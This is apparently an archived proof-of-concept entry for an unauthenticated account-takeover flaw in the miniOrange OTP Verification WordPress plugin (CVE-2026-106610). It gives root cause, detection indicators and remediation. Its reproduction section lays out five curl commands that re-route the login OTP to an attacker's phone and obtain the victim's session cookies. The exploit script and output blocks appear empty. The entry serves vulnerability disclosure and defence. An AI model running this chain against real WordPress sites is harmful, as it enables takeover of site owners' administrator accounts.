miniOrange OTP Verification ≤ 5.5.7 — Unauthenticated Account Takeover via OTP Re-Routing (CVE-2026-106610)
Published: 2026-11-25 • Researcher: KevineCharles (PoC); Patchstack (disclosure/advisory); miniOrange (vendor)
- Severity
- Critical
- CVE
- CVE-2026-106610
- Category
- web
- Affected product
- miniOrange OTP Verification WordPress plugin (miniorange-otp-verification)
- Affected versions
- From n/a through 5.5.7 (NVD / Patchstack); fixed in 5.5.8
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-106610
- https://github.com/KevineCharles/CVE-2026-106610-miniorange-otp-ato
- https://patchstack.com/database/wordpress/plugin/miniorange-otp-verification/vulnerability/wordpress-miniorange-otp-verification-plugin-5-5-7-privilege-escalation-vulnerability?_s_id=cve
- https://wordpress.org/plugins/miniorange-otp-verification/
- https://cwe.mitre.org/data/definitions/266.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-10-08 |
| Author / Researcher | KevineCharles (PoC); Patchstack (disclosure/advisory); miniOrange (vendor) |
| CVE / Advisory | CVE-2026-106610 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS v3.1, per NVD/Patchstack; exact vector — See references) |
| Status | Weaponized |
| Tags | WordPress, plugin, authentication-bypass, account-takeover, OTP, 2FA-bypass, privilege-escalation, CWE-266, unauthenticated, PHP |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | miniOrange OTP Verification WordPress plugin (miniorange-otp-verification) |
| Versions Affected | From n/a through 5.5.7 (NVD / Patchstack); fixed in 5.5.8 |
| Language / Platform | PHP; WordPress on any host (Apache/nginx + PHP-FPM or mod_php) |
| Authentication Required | No — attacker needs no account, only the victim’s WordPress username and a phone number they control. The victim account must exist with a registered phone and the plugin’s OTP-only login mode enabled. |
| Network Access Required | Yes — HTTPS to the target’s wp-login.php |
Summary
The miniOrange OTP Verification plugin supports a login mode in which a user authenticates to wp-login.php with only a username and a phone-based one-time passcode, no password required. The plugin fails to verify that the phone number used for the OTP challenge actually belongs to the account the session is bound to. An unauthenticated attacker who knows only a victim’s username can start a login attempt as that user, re-route the OTP challenge to a phone number they control, validate the code they received, and then re-submit the login form to be issued a logged-in authentication cookie for the victim’s account. The attacker never needs the victim’s password or real phone number, and the result is full account takeover, including administrative accounts.
Vulnerability Details
Root Cause
Incorrect privilege assignment (CWE-266) in the plugin’s WordPress login-form handler, file handler/forms/class-wploginform.php:
- The AJAX OTP generate handler reads the submitted user_phone value directly and sends the OTP without ever checking that this number is the one registered to the account bound to the current session.
- The AJAX OTP validate handler only checks internal consistency: that the number submitted for validation matches the number the plugin itself used to generate the challenge. It never compares the submitted number against the victim’s actually registered phone metadata (the plugin’s per-user login-phone user meta).
- The final login gate accepts the login when the session owner equals the submitted username and the challenge status is VALIDATED. Both values are attacker-controlled: the owner comes from the plain-text log field in step 1, and the status is set by the plugin’s own OTP-validate endpoint, which the attacker also calls.
In short, the plugin verifies that a phone-number OTP challenge was completed, but never verifies that the victim’s phone number was the one actually used.
Attack Vector
Unauthenticated HTTP POST requests to wp-login.php on a site where the plugin version is at or below 5.5.7, OTP-only (skip-password) login is enabled, and the victim has a registered phone number. The chain is five steps: seed the login form with the victim’s username and an empty password to bind the PHP session to that username; fetch wp-login.php to harvest the anonymous CSRF nonce for the popup action; POST the OTP-generate action with the attacker’s own phone number; POST the OTP-validate action with the code received on the attacker’s phone; then re-POST the login form, which returns an authenticated WordPress cookie for the victim. Anonymous nonces are identical for every logged-out visitor within the same 12-hour tick, so any attacker can obtain a valid one.
Impact
Full account takeover without credentials. The attacker obtains a valid WordPress logged-in session for the victim account, which for an administrator means control over the whole site: plugin/theme installation, user management, content, and any data or configuration the account can reach. The supplied PoC evidence shows a successful login as the victim account and an authenticated request to wp-admin/profile.php. Failed attempts and successful ones are hard to tell apart in normal login logs because the attacker never triggers a password failure.
Environment / Lab Setup
OS: Linux (any current distro or Docker)
Target: WordPress with miniOrange OTP Verification plugin 5.5.7
(or earlier), PHP 8.4.23 in the upstream lab, serving
/wp-login.php
Attacker: Python 3 (standard library only) or curl; any OS
Tools: Python 3, curl, Burp Suite; an attacker-controlled phone
number able to receive SMSSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
- Step 1 — Bind the session to the victim username. POST the login form with the victim’s username and an empty password (OTP-only mode skips the password check):Shell script
1 2 3curl -s -c jar.txt -b jar.txt -o step1.html \ -d 'log=victimadmin&pwd=&wp-submit=Log+In&redirect_to=http://TARGET/wp-admin/' \ http://TARGET/wp-login.php - Step 2 — Harvest the anonymous popup nonce. Fetch the login page with the same cookie jar and extract the mopopup_wpnonce value for the mo_popup_options action; logged-out nonces are shared across visitors within the same tick:Shell script
1 2curl -s -b jar.txt -c jar.txt http://TARGET/wp-login.php | \ grep -o 'name="mopopup_wpnonce" value="[a-f0-9]*"' - Step 3 — Re-route the OTP to the attacker phone. Trigger the plugin’s OTP-generate popup action with the attacker’s phone number; the challenge stays bound to the victim’s session but the SMS goes to the attacker:Shell script
1 2 3 4 5curl -s -b jar.txt -c jar.txt \ --data-urlencode 'mo_external_popup_option=miniorange-ajax-otp-generate' \ --data-urlencode 'mopopup_wpnonce=NONCE' \ --data-urlencode 'user_phone=15555550123' \ http://TARGET/wp-login.php - Step 4 — Validate with the received code. Submit the OTP code that arrived on the attacker phone through the validate action:Shell script
1 2 3 4 5 6curl -s -b jar.txt -c jar.txt \ --data-urlencode 'mo_external_popup_option=miniorange-ajax-otp-validate' \ --data-urlencode 'mopopup_wpnonce=NONCE' \ --data-urlencode 'user_phone=15555550123' \ --data-urlencode 'mo_otp_token=CODE' \ http://TARGET/wp-login.php - Step 5 — Re-submit the login form. The server-side gate (owner equals submitted username and status is VALIDATED) now passes and WordPress issues the victim’s authenticated cookies:Shell script
1 2 3curl -s -i -b jar.txt -c jar.txt \ -d 'log=victimadmin&pwd=&wp-submit=Log+In&redirect_to=http://TARGET/wp-admin/' \ http://TARGET/wp-login.php - Verify — confirm the stolen session identity against the WordPress profile page:Shell script
1curl -s -b jar.txt http://TARGET/wp-admin/profile.php | grep -i 'victimadmin'
Exploit Code
See
exploit.pyin this folder — the archived upstream poc.py, which automates steps 1–5, pauses for the SMS code, and prints the stolen cookies plus a profile.php identity check.
| |
| |
Expected Output
Step 3 response shows the OTP was routed to the attacker’s number, not the victim’s:
| |
Step 4 response:
| |
Step 5 response is a 302 redirect to wp-admin with the victim’s authenticated cookies:
| |
Negative control (different phone number between generate and validate) is rejected, showing the internal consistency check exists but the victim-bound check does not:
| |
Screenshots / Evidence
evidence/step1_headers.txt— PHP session established during the login seed requestevidence/step1_response.html— plugin popup scripts (version 5.5.7) proving the vulnerable plugin is activeevidence/step3_response.txt— OTP sent to the attacker-controlled numberevidence/step4_response.txt— OTP challenge marked validevidence/step5_headers.txt— 302 plus the victim’s authenticated cookiesevidence/atk_jar.txt— attacker cookie jar containing the stolen sessionevidence/control_jar.txt/evidence/control_response.html— Control A (no OTP exchange, no session)evidence/control3_validate.txt— Control B (mismatched phone rejected, WPOTPERR010)
Detection & Indicators of Compromise
- wp-login.php POSTs with an empty pwd parameter against an account that has OTP-only login enabled, repeated within a short window.
- Requests carrying mo_external_popup_option values miniorange-ajax-otp-generate or miniorange-ajax-otp-validate from a session whose log field names a different user, or with user_phone values that do not match the stored phone number on the account.
- OTP generate calls with the same phone number across multiple distinct usernames or IP addresses, or phone numbers from a different country than the account normally uses.
- Successful wordpress_logged_in cookie issuance for a user with no preceding successful password or OTP delivery to that user’s registered number.
- Plugin error codes WPOTPERR010 appearing in wp-login.php JSON responses.
- Sessions from unexpected ASN/geo/IP immediately following OTP activity for an account.
SIEM / IDS Rule (example):
| |
Log query example (nginx/Apache combined access log, wp-login.php POSTs):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade miniOrange OTP Verification to 5.5.8 or later; the vendor fixed the missing phone-to-account binding. Confirm the plugin version on every site (multisite included). |
| Workaround | If immediate update is not possible, disable the “Login with only OTP” / skip-password phone login mode and require a password plus OTP, or deactivate the plugin until patched. |
| Config Hardening | Enforce strong unique passwords and real MFA on all accounts, especially administrators; monitor wp-login.php for the popup-action parameters above; put a WAF/reverse proxy in front of wp-login.php to rate-limit and block mismatched phone/username patterns; alert on new administrator sessions from new IPs. |
References
Notes
Auto-ingested from https://github.com/KevineCharles/CVE-2026-106610-miniorange-otp-ato on 2026-11-25.
Review verdict: this is a genuine exploit PoC, not a detector — poc.py implements the full unauthenticated account-takeover chain and the repository ships raw HTTP evidence of a successful takeover (authenticated cookie issuance for the victim account) plus two negative controls. It is classified Weaponized because a working exploit with proof is shown, though it is limited in practice: it requires the target to have OTP-only (skip-password) login enabled with a working SMS gateway, the victim to have a registered phone number, knowledge of the victim’s username, and an attacker-controlled phone able to receive the OTP, so exploitation is interactive and not fully automated. Evidence files were copied with session tokens, nonces, and cookie hashes redacted upstream; no live credentials are included.
License status: the upstream repository has no explicit license file; poc.py is archived with attribution for authorized security research only. Files not copied: none of substance (the repo contains only README.md, poc.py, and evidence/); five lower-value control evidence files were omitted to keep the archive within the file budget. See references for the CVSS vector and full advisory detail. Do not run this exploit against systems you do not own or have written authorization to test.
| |